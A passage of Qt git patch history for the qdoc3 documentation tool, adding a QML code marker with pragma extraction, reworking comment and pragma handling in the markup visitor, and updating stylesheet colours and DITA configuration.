JsCodeMarker::addMarkUp(const QString &code, if (parser.parseProgram()) { QDeclarativeJS::AST::Node *ast = parser.rootNode(); - QmlMarkupVisitor visitor(code, &engine); + // Pass the unmodified code to the visitor so that pragmas and other + // unhandled source text can be output. + QmlMarkupVisitor visitor(code, pragmas, &engine); QDeclarativeJS::AST::Node::accept(ast, &visitor); output = visitor.markedUpCode(); } diff --git a/tools/qdoc3/qmlcodemarker.cpp b/tools/qdoc3/qmlcodemarker.cpp new file mode 100644 index 0000000..1e4ad1e --- /dev/null +++ b/tools/qdoc3/qmlcodemarker.cpp @@ -0,0 +1,287 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the tools applications of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/* + qmlcodemarker.cpp +*/ + +#include "private/qdeclarativejsast_p.h" +#include "private/qdeclarativejsastfwd_p.h" +#include "private/qdeclarativejsengine_p.h" +#include "private/qdeclarativejslexer_p.h" +#include "private/qdeclarativejsnodepool_p.h" +#include "private/qdeclarativejsparser_p.h" + +#include "atom.h" +#include "node.h" +#include "qmlcodemarker.h" +#include "qmlmarkupvisitor.h" +#include "text.h" +#include "tree.h" + +QT_BEGIN_NAMESPACE + +QmlCodeMarker::QmlCodeMarker() +{ +} + +QmlCodeMarker::~QmlCodeMarker() +{ +} + +/*! + Returns true if the \a code is recognized by the parser. + */ +bool QmlCodeMarker::recognizeCode(const QString &code) +{ + QDeclarativeJS::Engine engine; + QDeclarativeJS::Lexer lexer(&engine); + QDeclarativeJS::Parser parser(&engine); + QDeclarativeJS::NodePool m_nodePool("", &engine); + + QString newCode = code; + extractPragmas(newCode); + lexer.setCode(newCode, 1); + + return parser.parse(); +} + +/*! + Returns true if \a ext is any of a list of file extensions + for the QML language. + */ +bool QmlCodeMarker::recognizeExtension(const QString &ext) +{ + return ext == "qml"; +} + +/*! + Returns true if the \a language is recognized. Only "QML" is + recognized by this marker. + */ +bool QmlCodeMarker::recognizeLanguage(const QString &language) +{ + return language == "QML"; +} + +/*! + Returns the name of the \a node. Method names include are returned with a + trailing set of parentheses. + */ +QString QmlCodeMarker::plainName(const Node *node) +{ + QString name = node->name(); + if (node->type() == Node::QmlMethod) + name += "()"; + return name; +} + +QString QmlCodeMarker::plainFullName(const Node *node, const Node *relative) +{ + if (node->name().isEmpty()) { + return "global"; + } + else { + QString fullName; + while (node) { + fullName.prepend(plainName(node)); + if (node->parent() == relative || node->parent()->name().isEmpty()) + break; + fullName.prepend("::"); + node = node->parent(); + } + return fullName; + } +} + +QString QmlCodeMarker::markedUpCode(const QString &code, + const Node *relative, + const QString &dirPath) +{ + return addMarkUp(code, relative, dirPath); +} + +QString QmlCodeMarker::markedUpName(const Node *node) +{ + QString name = linkTag(node, taggedNode(node)); + if (node->type() == Node::QmlMethod) + name += "()"; + return name; +} + +QString QmlCodeMarker::markedUpFullName(const Node *node, const Node *relative) +{ + if (node->name().isEmpty()) { + return "global"; + } + else { + QString fullName; + for (;;) { + fullName.prepend(markedUpName(node)); + if (node->parent() == relative || node->parent()->name().isEmpty()) + break; + fullName.prepend("<@op>::"); + node = node->parent(); + } + return fullName; + } +} + +QString QmlCodeMarker::markedUpIncludes(const QStringList& includes) +{ + QString code; + + QStringList::ConstIterator inc = includes.begin(); + while (inc != includes.end()) { + code += "import " + *inc + "\n"; + ++inc; + } + return protect(addMarkUp(code, 0, "")); +} + +QString QmlCodeMarker::functionBeginRegExp(const QString& funcName) +{ + return "^" + QRegExp::escape("function " + funcName) + "$"; + +} + +QString QmlCodeMarker::functionEndRegExp(const QString& /* funcName */) +{ + return "^\\}$"; +} + +QString QmlCodeMarker::addMarkUp(const QString &code, + const Node * /* relative */, + const QString & /* dirPath */) +{ + QDeclarativeJS::Engine engine; + QDeclarativeJS::Lexer lexer(&engine); + + QString newCode = code; + QList pragmas = extractPragmas(newCode); + lexer.setCode(newCode, 1); + + QDeclarativeJS::Parser parser(&engine); + QDeclarativeJS::NodePool m_nodePool("", &engine); + QString output; + + if (parser.parse()) { + QDeclarativeJS::AST::UiProgram *ast = parser.ast(); + // Pass the unmodified code to the visitor so that pragmas and other + // unhandled source text can be output. + QmlMarkupVisitor visitor(code, pragmas, &engine); + QDeclarativeJS::AST::Node::accept(ast, &visitor); + output = visitor.markedUpCode(); + } + return output; +} + +/* +Copied and pasted from src/declarative/qml/qdeclarativescriptparser.cpp. +*/ +static void replaceWithSpace(QString &str, int idx, int n) +{ + QChar *data = str.data() + idx; + const QChar space(QLatin1Char(' ')); + for (int ii = 0; ii < n; ++ii) + *data++ = space; +} + +/* +Copied and pasted from src/declarative/qml/qdeclarativescriptparser.cpp then +modified to return a list of removed pragmas. + +Searches for ".pragma " declarations within \a script. Currently supported pragmas +are: + library +*/ +QList QmlCodeMarker::extractPragmas(QString &script) +{ + const QString pragma(QLatin1String("pragma")); + const QString library(QLatin1String("library")); + QList removed; + + QDeclarativeJS::Lexer l(0); + l.setCode(script, 0); + + int token = l.lex(); + + while (true) { + if (token != QDeclarativeJSGrammar::T_DOT) + return removed; + + int startOffset = l.tokenOffset(); + int startLine = l.currentLineNo(); + int startColumn = l.currentColumnNo(); + + token = l.lex(); + + if (token != QDeclarativeJSGrammar::T_IDENTIFIER || + l.currentLineNo() != startLine || + script.mid(l.tokenOffset(), l.tokenLength()) != pragma) + return removed; + + token = l.lex(); + + if (token != QDeclarativeJSGrammar::T_IDENTIFIER || + l.currentLineNo() != startLine) + return removed; + + QString pragmaValue = script.mid(l.tokenOffset(), l.tokenLength()); + int endOffset = l.tokenLength() + l.tokenOffset(); + + token = l.lex(); + if (l.currentLineNo() == startLine) + return removed; + + if (pragmaValue == QLatin1String("library")) { + replaceWithSpace(script, startOffset, endOffset - startOffset); + removed.append( + QDeclarativeJS::AST::SourceLocation( + startOffset, endOffset - startOffset, + startLine, startColumn)); + } else + return removed; + } + return removed; +} + +QT_END_NAMESPACE diff --git a/tools/qdoc3/qmlcodemarker.h b/tools/qdoc3/qmlcodemarker.h new file mode 100644 index 0000000..68e6753 --- /dev/null +++ b/tools/qdoc3/qmlcodemarker.h @@ -0,0 +1,85 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the tools applications of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/* + qmlcodemarker.h +*/ + +#ifndef QMLCODEMARKER_H +#define QMLCODEMARKER_H + +#include "private/qdeclarativejsastfwd_p.h" +#include "cppcodemarker.h" + +QT_BEGIN_NAMESPACE + +class QmlCodeMarker : public CppCodeMarker +{ +public: + QmlCodeMarker(); + ~QmlCodeMarker(); + + virtual bool recognizeCode(const QString &code); + virtual bool recognizeExtension(const QString &ext); + virtual bool recognizeLanguage(const QString &language); + virtual QString plainName(const Node *node); + virtual QString plainFullName(const Node *node, const Node *relative); + virtual QString markedUpCode(const QString &code, + const Node *relative, + const QString &dirPath); + + virtual QString markedUpName(const Node *node); + virtual QString markedUpFullName(const Node *node, const Node *relative); + virtual QString markedUpIncludes(const QStringList &includes); + virtual QString functionBeginRegExp(const QString &funcName); + virtual QString functionEndRegExp(const QString &funcName); + + /* Copied from src/declarative/qml/qdeclarativescriptparser.cpp */ + QList extractPragmas(QString &script); + +private: + QString addMarkUp(const QString &code, const Node * /* relative */, + const QString & /* dirPath */); +}; + +QT_END_NAMESPACE + +#endif diff --git a/tools/qdoc3/qmlcodeparser.cpp b/tools/qdoc3/qmlcodeparser.cpp index 329912c..9c1d4ee 100644 --- a/tools/qdoc3/qmlcodeparser.cpp +++ b/tools/qdoc3/qmlcodeparser.cpp @@ -118,7 +118,10 @@ void QmlCodeParser::parseSourceFile(const Location& location, in.close(); Location fileLocation(filePath); - lexer->setCode(document, 1); + + QString newCode = document; + extractPragmas(newCode); + lexer->setCode(newCode, 1); QSet topicCommandsAllowed = topicCommands(); QSet otherMetacommandsAllowed = otherMetaCommands(); @@ -129,7 +132,7 @@ void QmlCodeParser::parseSourceFile(const Location& location, if (parser->parse()) { QDeclarativeJS::AST::UiProgram *ast = parser->ast(); - QmlDocVisitor visitor(filePath, document, &engine, tree, metacommandsAllowed); + QmlDocVisitor visitor(filePath, newCode, &engine, tree, metacommandsAllowed); QDeclarativeJS::AST::Node::accept(ast, &visitor); } } @@ -165,4 +168,68 @@ QSet QmlCodeParser::otherMetaCommands() << COMMAND_QMLDEFAULT; } +/* +Copied and pasted from src/declarative/qml/qdeclarativescriptparser.cpp. +*/ +static void replaceWithSpace(QString &str, int idx, int n) +{ + QChar *data = str.data() + idx; + const QChar space(QLatin1Char(' ')); + for (int ii = 0; ii < n; ++ii) + *data++ = space; +} + +/* +Copied and pasted from src/declarative/qml/qdeclarativescriptparser.cpp then +modified to return no values. + +Searches for ".pragma " declarations within \a script. Currently supported pragmas +are: + library +*/ +void QmlCodeParser::extractPragmas(QString &script) +{ + const QString pragma(QLatin1String("pragma")); + const QString library(QLatin1String("library")); + + QDeclarativeJS::Lexer l(0); + l.setCode(script, 0); + + int token = l.lex(); + + while (true) { + if (token != QDeclarativeJSGrammar::T_DOT) + return; + + int startOffset = l.tokenOffset(); + int startLine = l.currentLineNo(); + + token = l.lex(); + + if (token != QDeclarativeJSGrammar::T_IDENTIFIER || + l.currentLineNo() != startLine || + script.mid(l.tokenOffset(), l.tokenLength()) != pragma) + return; + + token = l.lex(); + + if (token != QDeclarativeJSGrammar::T_IDENTIFIER || + l.currentLineNo() != startLine) + return; + + QString pragmaValue = script.mid(l.tokenOffset(), l.tokenLength()); + int endOffset = l.tokenLength() + l.tokenOffset(); + + token = l.lex(); + if (l.currentLineNo() == startLine) + return; + + if (pragmaValue == QLatin1String("library")) + replaceWithSpace(script, startOffset, endOffset - startOffset); + else + return; + } + return; +} + QT_END_NAMESPACE diff --git a/tools/qdoc3/qmlcodeparser.h b/tools/qdoc3/qmlcodeparser.h index a99e8a3..bbacd72 100644 --- a/tools/qdoc3/qmlcodeparser.h +++ b/tools/qdoc3/qmlcodeparser.h @@ -75,6 +75,9 @@ public: const QString& filePath, Tree *tree); virtual void doneParsingSourceFiles(Tree *tree); + /* Copied from src/declarative/qml/qdeclarativescriptparser.cpp */ + void extractPragmas(QString &script); + protected: virtual QSet topicCommands(); virtual QSet otherMetaCommands(); diff --git a/tools/qdoc3/qmlmarkupvisitor.cpp b/tools/qdoc3/qmlmarkupvisitor.cpp index 907b95d..6bede96 100644 --- a/tools/qdoc3/qmlmarkupvisitor.cpp +++ b/tools/qdoc3/qmlmarkupvisitor.cpp @@ -49,12 +49,42 @@ QT_BEGIN_NAMESPACE -QmlMarkupVisitor::QmlMarkupVisitor(const QString &source, QDeclarativeJS::Engine *engine) +QmlMarkupVisitor::QmlMarkupVisitor(const QString &source, + const QList &pragmas, + QDeclarativeJS::Engine *engine) { this->source = source; this->engine = engine; + cursor = 0; - commentIndex = 0; + extraIndex = 0; + + // Merge the lists of locations of pragmas and comments in the source code. + int i = 0; + int j = 0; + while (i < engine->comments().length() && j < pragmas.length()) { + if (engine->comments()[i].offset < pragmas[j].offset) { + extraTypes.append(Comment); + extraLocations.append(engine->comments()[i]); + ++i; + } else { + extraTypes.append(Pragma); + extraLocations.append(engine->comments()[j]); + ++j; + } + } + + while (i < engine->comments().length()) { + extraTypes.append(Comment); + extraLocations.append(engine->comments()[i]); + ++i; + } + + while (j < pragmas.length()) { + extraTypes.append(Pragma); + extraLocations.append(pragmas[j]); + ++j; + } } QmlMarkupVisitor::~QmlMarkupVisitor() @@ -96,7 +126,7 @@ QString QmlMarkupVisitor::markedUpCode() void QmlMarkupVisitor::addExtra(quint32 start, quint32 finish) { - if (commentIndex >= engine->comments().length()) { + if (extraIndex >= extraLocations.length()) { QString extra = source.mid(start, finish - start); if (extra.trimmed().isEmpty()) output += extra; @@ -107,28 +137,37 @@ void QmlMarkupVisitor::addExtra(quint32 start, quint32 finish) return; } - while (commentIndex < engine->comments().length()) { - if (engine->comments()[commentIndex].offset - 2 >= start) - break; - commentIndex++; + while (extraIndex < extraLocations.length()) { + if (extraTypes[extraIndex] == Comment) { + if (extraLocations[extraIndex].offset - 2 >= start) + break; + } else { + if (extraLocations[extraIndex].offset >= start) + break; + } + extraIndex++; } quint32 i = start; - while (i < finish && commentIndex < engine->comments().length()) { - quint32 j = engine->comments()[commentIndex].offset - 2; + while (i < finish && extraIndex < extraLocations.length()) { + quint32 j = extraLocations[extraIndex].offset - 2; if (i <= j && j < finish) { if (i < j) output += protect(source.mid(i, j - i)); - quint32 l = engine->comments()[commentIndex].length; - if (source.mid(j, 2) == QLatin1String("/*")) - l += 4; - else - l += 2; - output += QLatin1String("<@comment>"); - output += protect(source.mid(j, l)); - output += QLatin1String(""); - commentIndex++; + quint32 l = extraLocations[extraIndex].length; + if (extraTypes[extraIndex] == Comment) { + if (source.mid(j, 2) == QLatin1String("/*")) + l += 4; + else + l += 2; + output += QLatin1String("<@comment>"); + output += protect(source.mid(j, l)); + output += QLatin1String(""); + } else + output += protect(source.mid(j, l)); + + extraIndex++; i = j + l; } else break; diff --git a/tools/qdoc3/qmlmarkupvisitor.h b/tools/qdoc3/qmlmarkupvisitor.h index 35f1b5bc..7a9ff22 100644 --- a/tools/qdoc3/qmlmarkupvisitor.h +++ b/tools/qdoc3/qmlmarkupvisitor.h @@ -52,7 +52,14 @@ QT_BEGIN_NAMESPACE class QmlMarkupVisitor : public QDeclarativeJS::AST::Visitor { public: - QmlMarkupVisitor(const QString &code, QDeclarativeJS::Engine *engine); + enum ExtraType{ + Comment, + Pragma + }; + + QmlMarkupVisitor(const QString &code, + const QList &pragmas, + QDeclarativeJS::Engine *engine); virtual ~QmlMarkupVisitor(); QString markedUpCode(); @@ -160,10 +167,12 @@ private: QString sourceText(QDeclarativeJS::AST::SourceLocation &location); QDeclarativeJS::Engine *engine; + QList extraTypes; + QList extraLocations; QString source; QString output; quint32 cursor; - quint32 commentIndex; + int extraIndex; }; QT_END_NAMESPACE -- cgit v0.12 From 3b9674c720a8aca2558a344e9ca08219687afc91 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Mon, 6 Dec 2010 19:03:14 +0100 Subject: Added an intermediate version of the QML code marker. --- tools/qdoc3/qmlcodemarker.cpp | 378 ++++++++++++++++++++++++++++++++++++++++++ tools/qdoc3/qmlcodemarker.h | 79 +++++++++ 2 files changed, 457 insertions(+) create mode 100644 tools/qdoc3/qmlcodemarker.cpp create mode 100644 tools/qdoc3/qmlcodemarker.h diff --git a/tools/qdoc3/qmlcodemarker.cpp b/tools/qdoc3/qmlcodemarker.cpp new file mode 100644 index 0000000..6a69136 --- /dev/null +++ b/tools/qdoc3/qmlcodemarker.cpp @@ -0,0 +1,378 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the tools applications of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/* + qmlcodemarker.cpp +*/ + +#include "node.h" +#include "qmlcodemarker.h" + +QT_BEGIN_NAMESPACE + +QmlCodeMarker::QmlCodeMarker() +{ +} + +QmlCodeMarker::~QmlCodeMarker() +{ +} + +bool QmlCodeMarker::recognizeCode( const QString& /* code */ ) +{ + return true; +} + +bool QmlCodeMarker::recognizeExtension( const QString& ext ) +{ + return ext == "qml"; +} + +bool QmlCodeMarker::recognizeLanguage( const QString& lang ) +{ + return lang == "QML"; +} + +QString QmlCodeMarker::plainName( const Node *node ) +{ + QString name = node->name(); + if ( node->type() == Node::Function ) + name += "()"; + return name; +} + +QString QmlCodeMarker::plainFullName( const Node *node, const Node * /* relative */ ) +{ + QString fullName; + for ( ;; ) { + fullName.prepend( plainName(node) ); + if ( node->parent()->name().isEmpty() ) + break; + node = node->parent(); + fullName.prepend("."); + } + return fullName; +} + +QString QmlCodeMarker::markedUpCode( const QString& code, + const Node * /* relative */, + const QString& /* dirPath */ ) +{ + return protect( code ); +} + +QString QmlCodeMarker::markedUpSynopsis( const Node *node, + const Node * /* relative */, + SynopsisStyle style ) +{ + QString synopsis; + QStringList extras; + QString name; + + name = taggedNode( node ); + if ( style != Detailed ) + name = linkTag( node, name ); + name = "<@name>" + name + ""; + + if ( style == Detailed && !node->parent()->name().isEmpty() && + node->type() != Node::Enum ) + name.prepend( taggedNode(node->parent()) + "." ); + + switch ( node->type() ) { + case Node::Class: + synopsis = "class " + name; + break; + case Node::Function: + { + const FunctionNode *func = (const FunctionNode *) node; + + synopsis = name; + + if ( style == SeparateList ) { + synopsis += "()"; + } else { + synopsis += " ("; + if ( !func->parameters().isEmpty() ) { + synopsis += " "; + int numOptional = 0; + QList::ConstIterator p = func->parameters().begin(); + while ( p != func->parameters().end() ) { + if ( !(*p).defaultValue().isEmpty() ) { + if ( p == func->parameters().begin() ) { + synopsis += "[ "; + } else { + synopsis += " [ , "; + } + numOptional++; + } else { + if ( p != func->parameters().begin() ) + synopsis += ", "; + } + if ( !(*p).name().isEmpty() ) + synopsis += "<@param>" + protect( (*p).name() ) + + " : "; + synopsis += protect( (*p).leftType() ); + ++p; + } + for ( int i = 0; i < numOptional; i++ ) + synopsis += " ]"; + synopsis += " "; + } + synopsis += ")"; + } + + if ( style != SeparateList && !func->returnType().isEmpty() ) + synopsis += " : " + protect( func->returnType() ); + + if ( style == Detailed && func->metaness() == FunctionNode::Signal ) + extras << "[signal]"; + } + break; + case Node::Property: + { + const PropertyNode *property = (const PropertyNode *) node; + + synopsis = name; + if ( style != SeparateList ) + synopsis += " : " + property->dataType(); + if ( style == Detailed && property->setters().isEmpty() ) + extras << "[read only]"; + } + break; + case Node::Enum: + { + /* + The letters A to F and X (upper- and lower-case) can + appear in a hexadecimal constant (e.g. 0x3F). + */ + QRegExp letterRegExp( "[G-WYZg-wyz_]" ); + const EnumNode *enume = (const EnumNode *) node; + + synopsis = name; + if ( style == Summary && !enume->items().isEmpty() ) { + synopsis += " : "; + QString comma; + QList::ConstIterator it = enume->items().begin(); + while ( it != enume->items().end() ) { + if ( enume->itemAccess((*it).name()) == Node::Public ) { + synopsis += comma; + synopsis += (*it).name(); + if ( (*it).value().indexOf(letterRegExp) != -1 ) + synopsis += " = " + (*it).value(); + comma = ", "; + } + ++it; + } + } + } + break; + case Node::Namespace: + case Node::Typedef: + default: + synopsis = name; + } + + if ( style == Summary ) { + if ( node->status() == Node::Preliminary ) { + extras << "(preliminary)"; + } else if ( node->status() == Node::Deprecated ) { + extras << "(deprecated)"; + } else if ( node->status() == Node::Obsolete ) { + extras << "(obsolete)"; + } + } + + QString extra; + if ( !extras.isEmpty() ) + extra = "<@extra>" + extras.join(" ") + ""; + return synopsis + extra; +} + +QString QmlCodeMarker::markedUpName( const Node *node ) +{ + QString name = linkTag( node, taggedNode(node) ); + if ( node->type() == Node::Function ) + name += "()"; + return name; +} + +QString QmlCodeMarker::markedUpFullName( const Node *node, + const Node * /* relative */ ) +{ + QString fullName; + for ( ;; ) { + fullName.prepend( markedUpName(node) ); + if ( node->parent()->name().isEmpty() ) + break; + node = node->parent(); + fullName.prepend( "<@op>." ); + } + return fullName; +} + +QString QmlCodeMarker::markedUpEnumValue(const QString & /* enumValue */, + const Node * /* relative */) +{ + return QString(); +} + +QString QmlCodeMarker::markedUpIncludes( const QStringList& /* includes */ ) +{ + return QString(); +} + +QString QmlCodeMarker::functionBeginRegExp( const QString& funcName ) +{ + return "^function[ \t].*\\b" + QRegExp::escape( funcName ); +} + +QString QmlCodeMarker::functionEndRegExp( const QString& /* funcName */ ) +{ + return "^}"; +} + +QList
    QmlCodeMarker::sections( const InnerNode *inner, SynopsisStyle style, Status status ) +{ + QList
    sections; + + if (inner->type() != Node::Class) + return sections; + + const ClassNode *classe = static_cast(inner); + + if ( style == Summary ) { + FastSection enums(classe, "Enums", "", "enum", "enums"); + FastSection functions(classe, "Functions", "", "function", "functions"); + FastSection readOnlyProperties(classe, "", "Read-Only Properties", "property", "properties"); + FastSection signalz(classe, "Signals", "", "signal", "signals"); + FastSection writableProperties(classe, "", "Writable Properties", "property", "properties"); + + QStack stack; + stack.push( classe ); + + while ( !stack.isEmpty() ) { + const ClassNode *ancestorClass = stack.pop(); + + NodeList::ConstIterator c = ancestorClass->childNodes().begin(); + while ( c != ancestorClass->childNodes().end() ) { + if ( (*c)->access() == Node::Public ) { + if ( (*c)->type() == Node::Enum ) { + insert( enums, *c, style, status ); + } else if ( (*c)->type() == Node::Function ) { + const FunctionNode *func = (const FunctionNode *) *c; + if ( func->metaness() == FunctionNode::Signal ) { + insert( signalz, *c, style, status ); + } else { + insert( functions, *c, style, status ); + } + } else if ( (*c)->type() == Node::Property ) { + const PropertyNode *property = + (const PropertyNode *) *c; + if ( property->setters().isEmpty() ) { + insert( readOnlyProperties, *c, style, status ); + } else { + insert( writableProperties, *c, style, status ); + } + } + } + ++c; + } + + QList::ConstIterator r = ancestorClass->baseClasses().begin(); + while ( r != ancestorClass->baseClasses().end() ) { + stack.prepend( (*r).node ); + ++r; + } + } + append( sections, enums ); + append( sections, writableProperties ); + append( sections, readOnlyProperties ); + append( sections, functions ); + append( sections, signalz ); + } else if ( style == Detailed ) { + FastSection enums( classe, "Enum Documentation", "", "member", "members"); + FastSection functionsAndSignals( classe, "Function and Signal Documentation", "", "member", "members"); + FastSection properties( classe, "Property Documentation", "", "member", "members"); + + NodeList::ConstIterator c = classe->childNodes().begin(); + while ( c != classe->childNodes().end() ) { + if ( (*c)->access() == Node::Public ) { + if ( (*c)->type() == Node::Enum ) { + insert( enums, *c, style, status ); + } else if ( (*c)->type() == Node::Function ) { + insert( functionsAndSignals, *c, style, status ); + } else if ( (*c)->type() == Node::Property ) { + insert( properties, *c, style, status ); + } + } + ++c; + } + append( sections, enums ); + append( sections, properties ); + append( sections, functionsAndSignals ); + } else { // ( style == SeparateList ) + FastSection all(classe, "", "", "member", "members"); + + QStack stack; + stack.push( classe ); + + while ( !stack.isEmpty() ) { + const ClassNode *ancestorClass = stack.pop(); + + NodeList::ConstIterator c = ancestorClass->childNodes().begin(); + while ( c != ancestorClass->childNodes().end() ) { + if ( (*c)->access() == Node::Public ) + insert( all, *c, style, status ); + ++c; + } + + QList::ConstIterator r = ancestorClass->baseClasses().begin(); + while ( r != ancestorClass->baseClasses().end() ) { + stack.prepend( (*r).node ); + ++r; + } + } + append( sections, all ); + } + return sections; +} + +QT_END_NAMESPACE diff --git a/tools/qdoc3/qmlcodemarker.h b/tools/qdoc3/qmlcodemarker.h new file mode 100644 index 0000000..bc46209 --- /dev/null +++ b/tools/qdoc3/qmlcodemarker.h @@ -0,0 +1,79 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the tools applications of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/* + qmlcodemarker.h +*/ + +#ifndef QMLCODEMARKER_H +#define QMLCODEMARKER_H + +#include "codemarker.h" + +QT_BEGIN_NAMESPACE + +class QmlCodeMarker : public CodeMarker +{ +public: + QmlCodeMarker(); + ~QmlCodeMarker(); + + bool recognizeCode( const QString& code ); + bool recognizeExtension( const QString& ext ); + bool recognizeLanguage( const QString& lang ); + QString plainName(const Node *node); + QString plainFullName(const Node *node, const Node *relative); + QString markedUpCode( const QString& code, const Node *relative, + const QString& dirPath ); + QString markedUpSynopsis( const Node *node, const Node *relative, + SynopsisStyle style ); + QString markedUpName( const Node *node ); + QString markedUpFullName( const Node *node, const Node *relative ); + QString markedUpEnumValue(const QString &enumValue, const Node *relative); + QString markedUpIncludes( const QStringList& includes ); + QList
    sections(const InnerNode *innerNode, SynopsisStyle style, Status status); + QString functionBeginRegExp( const QString& funcName ); + QString functionEndRegExp( const QString& funcName ); +}; + +QT_END_NAMESPACE + +#endif -- cgit v0.12 From 076bba6c901e292b61fffb7a91020075dcd84919 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 7 Dec 2010 14:42:50 +0100 Subject: Doc: Added new style colors, increased the contrast of existing colors. --- doc/src/template/style/style.css | 21 ++++++++++++++++++--- 1 file changed, 18 insertions(+), 3 deletions(-) diff --git a/doc/src/template/style/style.css b/doc/src/template/style/style.css index 16bc9ed..03bc9a9 100755 --- a/doc/src/template/style/style.css +++ b/doc/src/template/style/style.css @@ -179,12 +179,27 @@ span.comment { - color: #8B0000; - font-style: italic; + color: #008B00; } span.string, span.char { - color: #254117; + color: #000084; + } + span.number + { + color: #a46200; + } + span.operator + { + color: black; + } + span.keyword + { + color: #840000; + } + span.name + { + color: black } -- cgit v0.12 From cac82fa92665c21abc8568b3287a50eb3dfc8349 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 7 Dec 2010 15:57:34 +0100 Subject: Updated the DITA generator to use the modified generator API. --- tools/qdoc3/ditaxmlgenerator.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index c7fc2a9..f46b663 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -573,7 +573,7 @@ void DitaXmlGenerator::generateTree(const Tree *tree) findAllNamespaces(tree->root()); findAllSince(tree->root()); - PageGenerator::generateTree(tree, marker); + PageGenerator::generateTree(tree); writeDitaMap(); } -- cgit v0.12 From 327c95f6ce1c2f2ae2e4da8ca89d5ef0b2595af3 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 7 Dec 2010 16:35:32 +0100 Subject: Updated the DITA configuration to use the new configuration structure. --- tools/qdoc3/test/qt-ditaxml.qdocconf | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/qdoc3/test/qt-ditaxml.qdocconf b/tools/qdoc3/test/qt-ditaxml.qdocconf index 1feb2b2..cc2937a 100644 --- a/tools/qdoc3/test/qt-ditaxml.qdocconf +++ b/tools/qdoc3/test/qt-ditaxml.qdocconf @@ -1,4 +1,4 @@ -include(qt.qdocconf) +include(qt-project.qdocconf) imagedirs = $QTDIR/doc/src/images \ $QTDIR/examples \ -- cgit v0.12 From 32292a7bdd3764aad917f7df1ea4a791f0b1528f Mon Sep 